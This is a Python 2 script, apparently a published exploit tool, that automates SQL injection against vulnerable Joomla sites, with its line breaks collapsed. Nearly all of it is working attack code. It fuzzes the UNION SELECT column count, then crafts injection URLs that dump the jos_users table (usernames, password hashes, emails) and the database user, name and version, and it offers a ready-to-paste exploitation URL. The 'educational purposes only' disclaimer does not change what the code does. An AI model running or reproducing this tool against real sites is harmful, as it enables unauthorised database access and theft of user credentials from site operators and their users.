#!/usr/bin/python # Automated Joomla SQL Injection Exploiter # by Valentin Hoebel (valentin@xenuser.org) # Version 1.0 (23th May 2010) # # This tool is based on my column fuzzer # ASCII FOR BREAKFAST # # # About the tool # ---------------------------------------------------------------------------------- # Features: #- Check if URL is reachable #- Fuzz amount of columns (needed for UNION SELECT attack) #- Show a sample exploitation URL for pasting into the browser #- Showing the Joomla users from the table jos_users (with password hashes) #- Display current database, db user and db version # The Automated Joomla SQL Injection Exploiter is able to # exploit most of the SQL injection vulnerabilities which were ever # fdiscovered for Joomla or it's components, modules and plugins. # Simply hand over a vulnerable URL to this tool and receive the # admin login data of the vulnerable Joomla installation. # # With this tool it is no longer necessary to write new exploits for new # Joomla (components/modules/plugins) vulnerabilities! # Usage example: # python joomla_sqli_sploiter.py - u "http://target/index.php?option=com_component?id=1" # The tool tries to exploit SQL injection vulnerabilities by using UNION SELECT. Therefore # it is necessary to fuzz the number of columns. # If this is successfull, the tool crafts a SQL injection URL for reading out the Joomla user table. # # Since most of the stuff is dynamic this tool can be enhanced easely to do also other things. # Feel free to use, modify, distribute and share this code as you like! Power to teh cows! # This tool war written for educational purposes only. I am not responsible for any damage # you might cause using this tool. Know and respect your local laws! # Only use this tool on websites you are allowed to test :) # Greetz && THX # ---------------------------------------------------------------------------------- # Special greetings to cr4wl3r (you know why :) !) # Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn (especially to /JosS) and the Packet Storm staff! # Thanks osvdb staff + moderators for your daily work! There are many people who appreciate what you are doing! # # Power to the cows! import sys, re, urllib, urllib2, string from urllib2 import Request, urlopen, URLError, HTTPError # Define the max. amounts for trying max_columns = 100 # Prints usage def print_usage(): print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(^_^),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" print " Automated Joomla SQL Injection Exploiter 1.0 (23th May 2010)" print " by Valentin Hoebel (valentin@xenuser.org)" print "" print " Exploits almost every SQL injection vulnerability which was ever discovered" print " for Joomla and it's components/modules/plugins. It works also for feature(new)" print " vulnerabilities, so no new exploits are needed!" print "" print " Simply give this tool the vulnerable URL and receive the Joomla user table!" print "" print " Usage:" print " -u (e.g. -u \"http://target/index.php?option=com_vulnerable&katid=1\")" print " --help (displays this text)" print "" print "" print " Features:" print " - Check if URL is reachable" print " - Fuzz amount of columns (needed for UNION SELECT attack)" print " - Show a sample exploitation URL for pasting into the browser" print " - Showing the Joomla users from the table jos_users (with password hashes)" print " - Display current database, db user and db version" print "" print " For educational purposes only! I am not responsible if you cause any damage!" print " Only use this tool on websites which you may test, e.g. for penetration testing." print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(^_^),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" print "" return #Prints banner def print_banner(): print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(^_^),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" print " Automated Joomla SQL Injection Exploiter 1.0 (23th May 2010)" print " by Valentin Hoebel (valentin@xenuser.org)" print "" print " For educational purposes only! I am not responsible if you cause any damage!" print " Only use this tool on websites which you may test, e.g. for penetration testing." print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(^_^),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" return # Testing if URL is reachable, with error handling def test_url(): print ">> Checking if connection can be established..." try: response = urllib2.urlopen(provided_url) except HTTPError, e: print ">> The connection could not be established." print ">> Error code: ", e.code print ">> Exiting now!" print "" sys.exit(1) except URLError, e: print ">> The connection could not be established." print ">> Reason: ", e.reason print ">> Exiting now!" print "" sys.exit(1) else: valid_target = 1 print ">> Connected to target! URL seems to be valid." print "" return # Find correct amount of columns for the SQL Injection and enhance with Joomla exploitation capabilities def find_columns(): # Define some important variables and make the script a little bit dynamic number_of_columns = 1 column_finder_url_string = "+AND+1=2+UNION+SELECT+" column_finder_url_message = "0x503077337220743020743368206330777321" column_finder_url_message_plain = "P0w3r t0 t3h c0ws!" column_finder_url_terminator = "+from+jos_users--" column_finder_url_terminator_2 = "--" next_column = "," column_finder_url_sample_2 = "concat_ws(0x3b,user(),database(),version())" column_finder_url_sample_3 = "concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321)" column_finder_url_sample = "concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321)" # Craft the final URL to check final_check_url = provided_url+column_finder_url_string+column_finder_url_message print ">> Assuming that your provided URL is vulnerable." print ">> Trying to find the correct number of columns... (this may take a while)" for x in xrange(1, max_columns): # Visit website and store response source code of site final_check_url2 = final_check_url+column_finder_url_terminator response = urllib2.urlopen(final_check_url2) html = response.read() find_our_injected_string = re.findall(column_finder_url_message_plain, html) # When the correct amount was found we display the information and exit if len(find_our_injected_string) != 0: print ">> Correct number of columns found!" print ">> Amount: ", number_of_columns # Offer to display a sample exploitation URL for pasting into the browser print "" user_reply = str(raw_input(">> Do you want to have a sample exploitation URL for pasting into the browser? (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": # Print a sample URL for exploiting and replace test string with some useful stuff print "" final_check_url3 = final_check_url+column_finder_url_terminator_2 print string.replace(final_check_url3, column_finder_url_message, column_finder_url_sample_2) print "" print ">> Simply copy and paste this link into your browser :) Moving on..." else: print ">> Viewing a sample exploitation URL was skipped!" # Craft our exploit query malicious_query = string.replace(final_check_url2, column_finder_url_message, column_finder_url_sample) print "" print ">> Now assuming that this is a Joomla installation." print ">> Trying to fetch the first user of the Joomla user table..." # Receive the first user of the Joomla user table response = urllib2.urlopen(malicious_query) html = response.read() get_secret_data = string.find(html, "P0w3r t0 t3h c0ws!") get_secret_data += 18 new_html = html[get_secret_data :] new_get_secret_data = string.find(new_html, "P0w3r t0 t3h c0ws!") new_html_2 = new_html[:new_get_secret_data] # Data was received, now format and display it formatted_output = str.split(new_html_2, ";") print "ID: ", formatted_output[1:2] print "Name: ", formatted_output[2:3], "Username: ", formatted_output[3:4] print "Password Hash: ", formatted_output[4:5] print "E-Mail Address: ", formatted_output[5:6], "User status: ", formatted_output[6:7] # Offer to display all entries of the Joomla user table print "" user_reply = str(raw_input(">> Do you want to display all Joomla users? Replying with Yes will show you the source code response of the website. (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": print "" print "-------------------------------------------------------------" print str.split(new_html, ";") print "-------------------------------------------------------------" print "The seperator for the single entries is: ", column_finder_url_message_plain print "So it is this pattern: seperator id;name;username;password;email address;user status seperator" print "I know, formatting is bad, but this will be improved soon." else: print ">> Viewing the Joomla user table output was skipped!" # Offer to display current database, user and MySQL version print "" user_reply = str(raw_input(">> Do you want to display the current database, database user and MySQL version? (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": # Crafting the final URL final_check_url4 = final_check_url+column_finder_url_terminator_2 informative_query = string.replace(final_check_url4, column_finder_url_message, column_finder_url_sample_3) # Getting the data response4 = urllib2.urlopen(informative_query) html4 = response4.read() # Now extract the interesting information get_secret_data = string.find(html4, "P0w3r t0 t3h c0ws!") get_secret_data += 18 new_html4 = html4[get_secret_data :] new_get_secret_data4 = string.find(new_html4, "P0w3r t0 t3h c0ws!") new_html_5 = new_html4[:new_get_secret_data4] # Data was received, now format and display it formatted_output = str.split(new_html_5, ";") print "MySQL Database User: ", formatted_output[1:2] print "MySQL Database: ", formatted_output[2:3] print "MySQL Version: ", formatted_output[3:4] print "That's it. Bye!" print "" print "" sys.exit(1) else: print ">> Viewing the informative data was skipped!" print "That's it. Bye!" print "" print "" sys.exit(1) # Increment counter var by one number_of_columns += 1 #Add a new column to the URL final_check_url += next_column final_check_url += column_finder_url_message # If fuzzing is not successfull print this message print ">> Fuzzing was not successfull. Maybe the target is not vulnerable?" print "Bye!" print "" print "" # Checking if argument was provided if len(sys.argv) <=1: print_usage() sys.exit(1) for arg in sys.argv: # Checking if help was called if arg == "--help": print_usage() sys.exit(1) # Checking if URL was provided, if yes -> go! if arg == "-u": provided_url = sys.argv[2] print_banner() # At first we test if we can actually reach the provided URL test_url() # Now start with finding the correct amount of columns find_columns() ### EOF ###